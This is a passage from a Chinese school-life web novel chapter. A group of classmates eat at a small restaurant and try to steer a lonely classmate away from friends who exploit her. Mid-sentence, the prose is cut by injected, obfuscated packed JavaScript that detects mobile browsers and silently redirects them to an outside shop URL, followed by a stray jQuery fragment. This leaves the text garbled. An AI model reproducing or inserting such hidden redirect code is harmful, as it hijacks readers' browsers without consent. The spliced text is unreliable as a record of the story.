市中心这边有一家便宜又好吃的小炒,是夏晚逛街时发现的,离开台球厅后,众人沿着扶梯往下走,打算去尝尝这家馆子。
夏迟和陆尘走在最后,然而,也不知道陆尘是个什么情况,夏迟明显感觉到他现在心情好到飞起,嘴角挂着笑,眼中带着光,好像在想着什么美事。
“笑什么呢?”夏迟故意用肩膀撞他,“打台球赢了就这么高兴啊。”
“当然了。”笑意越来越浓,陆尘笑嘻嘻凑到她眼前,问道,“你觉得我刚才表现怎么样?”
夏迟:“很棒啊,特别帅。”
陆尘:“只是帅?”
夏迟:“那还有什么啊?”
陆尘:“上幼儿园的时候,如果一个小朋友表现好,老师会怎么奖励他呢。”
夏迟:“给他发一朵小红花。”
陆尘:“对,但重点不在小红花,而是表现好,需要奖励,有奖励才有动力。”
夏迟扭头偷笑,陆尘看不到她的表情,偷偷去勾她的手指,“跟你说话呢,听没听啊。”
“听着呢。”夏迟忍住笑意,故意装作什么都听不懂的样子,“你今天好奇怪啊,又是幼儿园又是小红花的,咋还开始怀念童年了,你要那么想要的话,等我回去给你画一朵,要多大有多大,要多红有多红。”
陆尘:“啧,你是不是故意的。”
夏迟:“故意什么啊,不是你提的小红花吗,怎么又成我故意的了。”
陆尘:“我看出来了,你就是故意的,非要我说的那么明白是吧。行,运动会那天晚上,懂了吧。”
怕她赖账,陆尘特意指了指自己的右脸,“做人不能太偏心,只有右脸有,你让我左脸怎么想。”
夏迟:“没看出来,你还挺公平公正。”
“我不仅公平公正,我还礼尚往来,不过……”他耳尖有点红,小声嘀咕,“得看你愿不愿意。”
两个人并排走着,手臂贴在一起传递着彼此的温度,想起那天晚上的事,夏迟脸颊发烫,“有什么愿不愿意的,小时候也没少亲。”
陆尘:“那能一样吗。”
夏迟:“有什么不一样的,不都是你吗。”
“诶!”走在前面的杜司宇突然回头,打断了他们的谈话,“你俩搁后面捅咕啥呢,赶紧跟上,人这么多,一会儿走丢了都不好找。”
陆尘:“……”
乔颂深吸一口气,虽然他不知道陆尘在和夏迟说什么,但现在二人之间气氛明显暧昧,肯定是小秘密之类的,换位思考一下,如果他是陆尘,他可能想要刀了杜司宇。
“没事,那么大的人了,咋能丢呢。”乔颂拽着杜司宇往前走,“别管他俩了,想想一会儿你要点什么菜吧。”
杜司宇的注意力立刻被吸引走,“夏晚说他家炒猪肝不错,一会儿我得尝尝。”
几人走出商场,过马路,夏晚说的这家小饭馆在胡同里,进去之前她还在胡同口买了一包糖炒栗子,打算一会儿当零食。
他们进门的时候只有一桌客人,老板娘看他们一共六个,便让他们进到最里面的包间,放下菜单后说点好了再叫她,就又赶回后厨忙活了。
夏晚随手拿起菜单,左右看了看,然后交给了旁边的孟欢欢,“你先看看,想吃什么。”
孟欢欢只是摇头。
虽然大家是同班同学,但她和其他人都不熟,根本不知道夏迟为什么会把自己叫来。路上她听着他们聊天,没有任何共同话题,所以一句话也没说,现在更是莫名其妙。
夏晚又把菜单递给乔颂,“那你看,先选你能吃的。”
对乔颂而言,外面的菜全都重油重盐,吃起来差别不大,于是选了个凉菜大拉皮。
“你们点菜咋都这么费劲呢。”杜司宇要去菜单,“来来来,我点。额……先来一个炒猪肝,再来一个脊骨酸菜……”
夏晚提醒道:“他家菜码大,点四个菜就够了。”
杜司宇:“行,加上小乔的大拉皮是三个,我看看啊,再点个什么呢……诶,拔丝地瓜咋样?”
众人没有意义,于是叫来老板娘,并要了六瓶汽水。
后厨响起叮叮咣咣炒菜的声音,不一会儿就传出了香味儿,孟欢欢见他们又开始聊天,犹犹豫豫,决定先插个话,“对不起……你们好,我能问一下,你们、你们为啥要叫我过来吗?”
这个问题其他人可回答不了,集体看向了夏迟。
夏迟:“也没什么,你之前不是一直不参加班级活动吗,就想找你问问情况。听别人说你天天和十八班那群人混在一起,你……他们……”
陆尘:“成绩差就算了,人品也不咋地,以后别跟他们一起玩了。”
孟欢欢尴尬笑笑,“其实,他们也还好……”
陆尘:“好吗?刚进台球厅的时候,他们是让你去付的钱吧。”
而且那个说话的态度,显然不是一次两次了。
乔颂:“你天天和他们玩,应该算是朋友吧,难道每次出去玩都是让你出钱吗?”
孟欢欢:“也、也不是每次……”
可这话说的没有丝毫底气,谁都能听出来究竟是怎么回事。
杜司宇:“我就纳闷了,那你图啥呢,图你乐意花钱?当冤大头这么开心吗?”
孟欢欢继续辩解,“对不起……不是,我零花钱比较多,多出一点是应该的。”
杜司宇:“得了吧,你这话骗骗自己就行了,我们又不瞎,到底咋回事我们心里都明白。”
孟欢欢:“……”
夏迟:“算了,先不说零花钱的事了,孟欢欢,其实……我知道你是想交朋友的,但多跟咱班同学在一块儿不好吗,大家都坐一间教室里,还能帮助你学习。你和十八班那些人……你自己想想,他们带你都去些什么地方,你偶尔去玩一玩可以,但天天混在那儿,你……”
“他们挺好的。”孟欢欢有些紧张的打断她的话,“他们愿意和我交朋友,愿意带着我一起玩,也没强迫我什么,我多花一点钱也没问题,对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313873|136739||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不起……谢谢你的担心,但是、但是希望你不要再管我的事了。”
说完,她便起身想要离开,就在出门前又被夏迟叫住,“我可以不管你,只是……孟欢欢,你答应我,别去卡拉OK或夜总会,尤其是今天。”
孟欢欢不知道她为什么要着重强调这两个地方,但曾亮他们刚才输了台球心情不好,估计现在也不在这边玩了,她找不到人只能回家,“嗯,我今天不会去的。”
这已经是夏迟能做的最大努力,再多的她也无能为力。
几分钟后,老板娘开始给他们上菜,杜司宇拿起筷子先夹了一口炒猪肝,“夏迟,你说说你何必管她呢,好说歹说就是不听,好心当作驴肝肺,嗯……这炒猪肝不错,你们快趁热乎尝尝。”
夏迟也很头疼,陆尘给她夹了一块拔丝地瓜,示意她先吃饭。
乔颂嚼着一根黄瓜条,“她到底是怎么和十八班那群人混在一块儿的啊,咱班和十八班隔那么远,特意找人都费劲。”
一直沉默的夏晚叼着汽水吸管,想起了孟欢欢那些经历,“我之前不是说我有个小姐妹和她是小学同学吗,她妈妈那事之后,班里就没人和她一起玩了。她初中的事我不了解,但咱班成绩虽然有好有坏,大体上还是奔着学习去的,在她眼里都是好学生,可能……她心里觉得咱班同学看不上她吧,正好十八班那群人愿意带她玩,她就把对方当朋友了。”
乔颂不知道她小学的事,杜司宇热情的给他科普了一下,听完,也是一言难尽,“她妈妈……她……”
杜司宇:“你看,当时我们听完也是跟你一样的反应,唉,不知道她妈咋想的。”
吃了两块拔丝地瓜后,夏迟被甜甜的口感治愈不少,开口道:“我倒是能猜到一点孟欢欢的想法,她从小没感受过来自身边人一丁点的爱,但凡有人对她好点,她都觉得无以为报,拼了命的想要对对方好。”
那是一种紧紧抓着救命稻草的感觉,哪怕她能感觉到对方不是出自真心,但她仍然无法舍弃被施舍的那一点点温暖。
夏晚:“是挺可怜的,但咱们这样也是仁至义尽了,该说的都说了,她那么大个活人有她自己的想法,咱们也不能把人绑了不让她出门见人。唉,算了,就这样吧。”
这是他们现如今能尽的最大努力,以后的路要怎么走,还是得看孟欢欢自己,她自己不想从泥淖里爬出来,别人再怎么拉她都没用。
吃完饭后,大家坐在椅子上短暂休息。
陆尘开始摆弄随身听,结果意外发现耳机上有一块掉了漆。
夏迟拿过去看了看,“怎么弄的?”
“应该是磕到哪儿了。”他的随身听是银色的,耳机配的银加白,掉了漆那块显现出里面的黑色,看着有点丑,“没事,过两天再买个新的吧。”
杜司宇:“你那个随身听是进口的,耳机不会也是吧。”
陆尘:“是啊,都是配套的。”
杜司宇想了想那个价格,顿觉牙疼,“啧,真是太奢侈了。”